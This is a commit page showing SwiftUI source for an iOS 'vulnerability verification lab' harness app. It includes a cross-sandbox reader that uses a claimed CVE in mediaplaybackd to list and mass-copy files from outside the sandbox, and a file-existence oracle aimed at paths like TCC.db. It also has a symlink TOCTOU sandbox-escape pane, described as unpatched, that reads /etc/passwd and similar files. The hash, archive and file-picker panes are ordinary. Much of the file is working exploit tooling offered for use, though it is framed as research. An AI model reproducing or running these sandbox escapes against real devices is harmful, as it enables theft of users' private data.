Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

This commit is contained in:
jbjf6666 committed 2026-10-29 02:11:12 +08:00
commit 1ea76ab005
89 files changed
+16485

No files matched your search

+641
View File
@@ -0,0 +1,641 @@
import SwiftUI
import UniformTypeIdentifiers
// MARK: - Toolkit hub
struct ModView: View {
@State private var pane = 0
private var panes: [(String, String)] {
[
(t("pane.files"), "folder.fill"),
(t("pane.cross"), "arrow.left.arrow.right"),
(t("pane.symlink"), "link.badge.plus"),
(t("pane.apps"), "app.fill"),
(t("pane.prefs"), "slider.horizontal.3"),
(t("pane.procs"), "list.bullet.rectangle"),
(t("pane.daemons"), "gearshape.2.fill"),
(t("pane.crashes"), "exclamationmark.triangle.fill"),
(t("pane.binary"), "cpu"),
(t("pane.hex"), "number"),
(t("pane.xattr"), "tag.fill"),
(t("pane.sqlite"), "cylinder.split.1x2"),
(t("pane.archive"), "shippingbox.fill"),
(t("pane.hash"), "number.square.fill"),
(t("pane.fonts"), "textformat"),
(t("pane.ipa"), "wand.and.stars"),
(t("pane.backup"), "archivebox.fill"),
(t("pane.telemetry"), "gauge.medium"),
(t("pane.profiles"), "checkmark.seal.fill"),
]
}
var body: some View {
NavigationStack {
VStack(spacing: 0) {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 7) {
ForEach(Array(panes.enumerated()), id: \.offset) { i, entry in
Button { pane = i } label: {
HStack(spacing: 4) {
Image(systemName: entry.1).font(.system(size: 9, weight: .semibold))
Text(entry.0)
}
.font(T.tiny)
.foregroundColor(pane == i ? T.ember : .white.opacity(0.45))
.padding(.horizontal, 8).padding(.vertical, 4)
.background(Capsule().fill(pane == i ? T.ember.opacity(0.14) : Color.clear))
.overlay(Capsule().strokeBorder(pane == i ? T.ember.opacity(0.35) : T.stroke, lineWidth: 0.6))
}
}
}
.padding(.horizontal, 16)
.padding(.vertical, 9)
}
switch pane {
case 0: FilesPane()
case 1: CrossSandboxPane()
case 2: SymlinkPane()
case 3: AppsPane()
case 4: PrefsPane()
case 5: ProcessPane()
case 6: DaemonPane()
case 7: CrashPane()
case 8: BinaryPane()
case 9: HexPane()
case 10: XattrPane()
case 11: SQLitePane()
case 12: ArchivePane()
case 13: HashPane()
case 14: FontPane()
case 15: IPAPane()
case 16: BackupPane()
case 17: TelemetryPane()
default: ProfilePane()
}
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("mod.title"))
.navigationBarTitleDisplayMode(.inline)
}
}
}
// MARK: - Cross-sandbox reader (CVE-2026-112706)
struct CrossSandboxPane: View {
@State private var entries: [String] = []
@State private var listing = false
@State private var status = ""
@State private var handshake: [String] = []
@State private var stolen: [(name: String, bytes: Int, url: URL?)] = []
@State private var previews: [String: String] = [:]
@State private var path = FdLeak.readableDomain
@State private var oraclePath = ""
@State private var oracleResult = ""
@State private var busy = false
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 9) {
HStack {
SectionLabel(text: "CoreMedia bytestream")
Spacer()
Pill(text: "CVE-2026-112706", color: T.violet)
}
Text(tl("mediaplaybackd.bytestream.xpc 对任何沙盒应用可达。守护进程以自身凭据打开客户端指定的绝对路径,并把活描述符放进回复的 ByteStreamDetails。描述符级 I/O 不受客户端沙盒的路径检查约束 —— 应用自身 open() 返回 EPERM 的文件,其内容可经该描述符完整读回。"))
.font(T.body).foregroundColor(.white.opacity(0.66))
.fixedSize(horizontal: false, vertical: true)
if !handshake.isEmpty {
VStack(alignment: .leading, spacing: 1) {
ForEach(Array(handshake.enumerated()), id: \.offset) { _, line in
Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.4))
}
}
}
HStack(spacing: 8) {
RunButton(title: listing ? "…" : tl("枚举目录"), systemImage: "list.bullet",
tint: T.violet, disabled: busy) { listDirectory() }
RunButton(title: busy ? "…" : tl("全部读取"), systemImage: "arrow.down.doc",
tint: T.ember, disabled: busy) { stealAll() }
}
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
.fixedSize(horizontal: false, vertical: true)
}
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("路径"))
TextField(FdLeak.readableDomain, text: $path)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
ForEach(Array(entries.enumerated()), id: \.offset) { _, name in
HStack(spacing: 7) {
Image(systemName: "doc").font(.system(size: 10))
.foregroundColor(.white.opacity(0.35))
Text(name).font(T.monoSm)
.foregroundColor(.white.opacity(0.72)).lineLimit(1)
Spacer()
Button {
readOne(name)
} label: {
Image(systemName: "arrow.down.circle").font(.system(size: 12))
}.tint(T.ember)
}
}
}
}
if !oracleResult.isEmpty {
Card {
Text(oracleResult).font(T.monoSm).foregroundColor(.white.opacity(0.7))
.frame(maxWidth: .infinity, alignment: .leading)
.fixedSize(horizontal: false, vertical: true)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("存在性预言机"))
Text(tl("真实但被拒的路径返回 -12203,不存在的路径返回 -17913。两个不同的服务端错误码在不授予访问的前提下披露文件是否存在。"))
.font(T.tiny).foregroundColor(.white.opacity(0.35))
.fixedSize(horizontal: false, vertical: true)
TextField("/private/var/mobile/Library/TCC/TCC.db", text: $oraclePath)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
RunButton(title: tl("探测"), systemImage: "questionmark.circle", tint: T.info,
disabled: busy || oraclePath.isEmpty) { probeOracle() }
}
}
if !stolen.isEmpty {
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("已取回"))
ForEach(Array(stolen.enumerated()), id: \.offset) { _, item in
VStack(alignment: .leading, spacing: 2) {
HStack {
Text(item.name).font(T.monoSm).foregroundColor(T.good)
Spacer()
Text("\(item.bytes) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
if let preview = previews[item.name] {
Text(preview).font(T.monoSm)
.foregroundColor(.white.opacity(0.4)).lineLimit(2)
}
}
}
}
}
}
}
.padding(16)
}
}
private func session(_ body: @escaping (FdLeak.Session) -> Void) {
busy = true
DispatchQueue.global(qos: .userInitiated).async {
guard let s = FdLeak.Session() else {
DispatchQueue.main.async { busy = false; status = tl("会话建立失败") }
return
}
let log = s.handshakeLog
body(s)
s.shutdown()
DispatchQueue.main.async { handshake = log; busy = false }
}
}
private func listDirectory() {
session { s in
let result = s.list(path)
DispatchQueue.main.async {
entries = result.entries
status = "\(result.entries.count)" + tl(" 个条目 · mode ") + "\(String(result.vend.mode, radix: 8))"
}
}
}
private func readOne(_ name: String) {
let full = path.hasSuffix("/") ? path + name : path + "/" + name
session { s in
let (data, vend) = s.read(full)
DispatchQueue.main.async {
guard let data = data else {
status = tl("读取失败: ") + "\(vend.note)"
return
}
let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(name)").path)
stolen.append((name, data.count, url))
previews[name] = String(data: data.prefix(120), encoding: .utf8)?
.replacingOccurrences(of: "\n", with: "\\n")
?? data.prefix(24).map { String(format: "%02x", $0) }.joined()
status = "✓ \(name) \(data.count) B"
}
}
}
private func stealAll() {
session { s in
var results: [(String, Int, URL?)] = []
var heads: [String: String] = [:]
for (label, target) in FdLeak.knownTargets {
let (data, _) = s.read(target)
guard let data = data else { continue }
let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(label)").path)
results.append((label, data.count, url))
heads[label] = String(data: data.prefix(120), encoding: .utf8)?
.replacingOccurrences(of: "\n", with: "\\n")
?? data.prefix(24).map { String(format: "%02x", $0) }.joined()
}
DispatchQueue.main.async {
stolen = results
previews = heads
status = results.isEmpty ? tl("未取到数据") : tl("✓ ") + "\(results.count)" + tl(" 个文件")
}
}
}
private func probeOracle() {
session { s in
let e = s.probeExistence(oraclePath)
let text: String
switch e.code {
case 0: text = tl("可开(code 0)")
case FdLeak.errAccessDenied: text = tl("存在但被拒 (-12203)")
case FdLeak.errNoSuchFile: text = tl("不存在 (-17913)")
default: text = tl("错误码 ") + "\(e.code)"
}
DispatchQueue.main.async {
oracleResult = "\(text)\n\(oraclePath)"
}
}
}
}
// MARK: - Symlink escape
struct SymlinkPane: View {
@State private var target = "/etc/passwd"
@State private var result = ""
@State private var output = ""
@State private var busy = false
@State private var history: [(String, Int, Bool)] = []
private let presets = ["/etc/passwd", "/etc/group", "/etc/hosts", "/etc/services",
"/var/preferences/com.apple.networkd.plist"]
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 9) {
HStack {
SectionLabel(text: "sandbox_extension TOCTOU")
Spacer()
Pill(text: tl("未修复"), color: T.ember)
}
Text(tl("sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌绑定签发时刻解析出的目标,而内核对消费时刻所用路径不做复核。序列为:沙盒内建立链接 L 指向沙盒内文件 S → 对 L 签发扩展 → 将 L 重指向沙盒外目标 T → 消费令牌后经 L 读取。"))
.font(T.body).foregroundColor(.white.opacity(0.66))
.fixedSize(horizontal: false, vertical: true)
Text(tl("该序列确定性成立,不需要竞态窗口。Apple 未将其视为安全问题,因此没有 CVE 编号。"))
.font(T.tiny).foregroundColor(.white.opacity(0.35))
.fixedSize(horizontal: false, vertical: true)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("目标"))
TextField("/etc/passwd", text: $target)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 6) {
ForEach(presets, id: \.self) { p in
Button { target = p } label: {
Pill(text: (p as NSString).lastPathComponent, color: .white.opacity(0.45))
}
}
}
}
RunButton(title: busy ? "…" : tl("越过沙盒读取"),
systemImage: "link.badge.plus", tint: T.ember, disabled: busy) { run() }
}
}
if !result.isEmpty {
Card {
Text(result).font(T.monoSm).foregroundColor(.white.opacity(0.7))
.frame(maxWidth: .infinity, alignment: .leading)
.fixedSize(horizontal: false, vertical: true)
}
}
if !output.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("内容"))
Text(output)
.font(.system(size: 10, design: .monospaced))
.foregroundColor(.white.opacity(0.72))
.textSelection(.enabled)
.frame(maxWidth: .infinity, alignment: .leading)
}
}
}
if !history.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("记录"))
ForEach(Array(history.enumerated()), id: \.offset) { _, row in
HStack {
Image(systemName: row.2 ? "checkmark.circle.fill" : "xmark.circle")
.font(.system(size: 9))
.foregroundColor(row.2 ? T.good : .white.opacity(0.25))
Text(row.0).font(T.monoSm).foregroundColor(.white.opacity(0.6)).lineLimit(1)
Spacer()
Text("\(row.1) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
}
}
}
}
}
.padding(16)
}
}
private func run() {
busy = true
let t = target
DispatchQueue.global(qos: .userInitiated).async {
let link = Container.work.appendingPathComponent("sbx_link")
let decoy = Container.work.appendingPathComponent("sbx_decoy")
let r = SandboxExtension.readThroughSwap(target: t, link: link, decoy: decoy)
let direct = SandboxExtension.directRead(t)
DispatchQueue.main.async {
busy = false
result = [
tl("目标 ") + "\(t)",
tl("签发 ") + "\(r.issued ? tl("成功") : tl("失败"))",
tl("消费 ") + "\(r.consumed ? tl("成功") : tl("失败"))",
tl("读取 ") + "\(r.bytes)" + tl(" B"),
tl("对照 直接读 ") + (direct.errno != 0
? "errno=\(direct.errno) (\(String(cString: strerror(direct.errno))))"
: "\(direct.bytes) B"),
r.note,
].joined(separator: "\n")
if let data = r.data, let text = String(data: data.prefix(4000), encoding: .utf8) {
output = text
} else if let data = r.data {
output = data.prefix(512).map { String(format: "%02x", $0) }.joined()
} else {
output = ""
}
history.append((t, r.bytes, r.ok))
}
}
}
}
// MARK: - Hash
struct HashPane: View {
@State private var target: URL?
@State private var picking = false
@State private var results: [(String, String)] = []
@State private var busy = false
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: t("pane.hash"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "number.square.fill").font(.system(size: 12))
Text(target?.lastPathComponent ?? t("files.select")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
if busy { ProgressView().scaleEffect(0.7) }
}
}
if !results.isEmpty {
Card {
VStack(alignment: .leading, spacing: 6) {
ForEach(Array(results.enumerated()), id: \.offset) { _, row in
VStack(alignment: .leading, spacing: 1) {
Text(row.0).font(T.tiny).foregroundColor(.white.opacity(0.35))
Text(row.1).font(T.monoSm).foregroundColor(T.good)
.textSelection(.enabled)
.fixedSize(horizontal: false, vertical: true)
}
}
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
target = url
compute(url)
}
}
}
private func compute(_ url: URL) {
busy = true
results = []
DispatchQueue.global(qos: .userInitiated).async {
guard let data = try? Data(contentsOf: url) else {
DispatchQueue.main.async { busy = false }
return
}
var out: [(String, String)] = [(tl("大小"), "\(data.count) B")]
out.append(("CRC32", String(format: "%08x", ZipWriter.crc32([UInt8](data)))))
out.append(("SHA-256", data.sha256Hex))
out.append(("SHA-1", data.sha1Hex))
out.append(("MD5", data.md5Hex))
DispatchQueue.main.async {
results = out
busy = false
}
}
}
}
// MARK: - Archive
struct ArchivePane: View {
@State private var target: URL?
@State private var picking = false
@State private var entries: [PackageEntry] = []
@State private var status = ""
@State private var extractTo: String = Container.work.path
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: t("pane.archive"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "shippingbox.fill").font(.system(size: 12))
Text(target?.lastPathComponent ?? t("files.select")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
TextField(t("files.path"), text: $extractTo)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
RunButton(title: tl("解包"), systemImage: "arrow.down.doc", tint: T.info,
disabled: target == nil) { extract() }
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
.fixedSize(horizontal: false, vertical: true)
}
}
}
if !entries.isEmpty {
Card {
VStack(alignment: .leading, spacing: 3) {
SectionLabel(text: tl("内容 (") + "\(entries.count)" + tl(")"))
ForEach(entries.prefix(400)) { e in
HStack {
Text(e.name).font(T.monoSm)
.foregroundColor(.white.opacity(0.65)).lineLimit(1)
Spacer()
Text("\(e.size) B").font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
}
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
target = url
entries = PackageTool.list(url.path)
status = "\(entries.count)" + tl(" 个条目")
}
}
}
private func extract() {
guard let target = target else { return }
status = PackageTool.extract(target.path, to: URL(fileURLWithPath: extractTo))
}
}
// MARK: - File picker
struct FilePickerSheet: View {
@Binding var isPresented: Bool
let onPick: (URL) -> Void
@State private var browser = FileBrowser(path: Container.documents.path)
@State private var jump = ""
var body: some View {
NavigationStack {
VStack(spacing: 0) {
HStack(spacing: 8) {
Button { browser.up() } label: {
Image(systemName: "arrow.up").font(.system(size: 12, weight: .bold))
}.tint(T.ember)
TextField(t("files.path"), text: $jump)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.onSubmit { browser.chdir(jump) }
.padding(7)
.background(RoundedRectangle(cornerRadius: 7).fill(T.panel))
Button { browser.chdir(jump) } label: {
Image(systemName: "arrow.right.to.line").font(.system(size: 11, weight: .bold))
}.tint(T.ember)
}
.padding(.horizontal, 16).padding(.vertical, 8)
Text(browser.path)
.font(T.monoSm).foregroundColor(.white.opacity(0.3))
.lineLimit(1).truncationMode(.head)
.frame(maxWidth: .infinity, alignment: .leading)
.padding(.horizontal, 16).padding(.bottom, 6)
List {
ForEach(browser.items) { item in
Button {
if item.isDirectory {
browser.enter(item)
jump = item.path
} else {
onPick(URL(fileURLWithPath: item.path))
isPresented = false
}
} label: {
HStack(spacing: 10) {
Image(systemName: item.icon).font(.system(size: 12))
.foregroundColor(item.isDirectory ? T.ember : .white.opacity(0.4))
.frame(width: 18)
Text(item.name).font(T.body).foregroundColor(.white.opacity(0.85)).lineLimit(1)
Spacer()
if !item.isDirectory {
Text(item.displaySize).font(T.monoSm).foregroundColor(.white.opacity(0.25))
}
}
}
.listRowBackground(T.panel)
}
}
.listStyle(.plain)
.scrollContentBackground(.hidden)
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("files.select"))
.navigationBarTitleDisplayMode(.inline)
.toolbar {
ToolbarItem(placement: .topBarTrailing) {
Button(t("files.cancel")) { isPresented = false }.tint(T.ember)
}
}
.onAppear { jump = browser.path }
}
}
}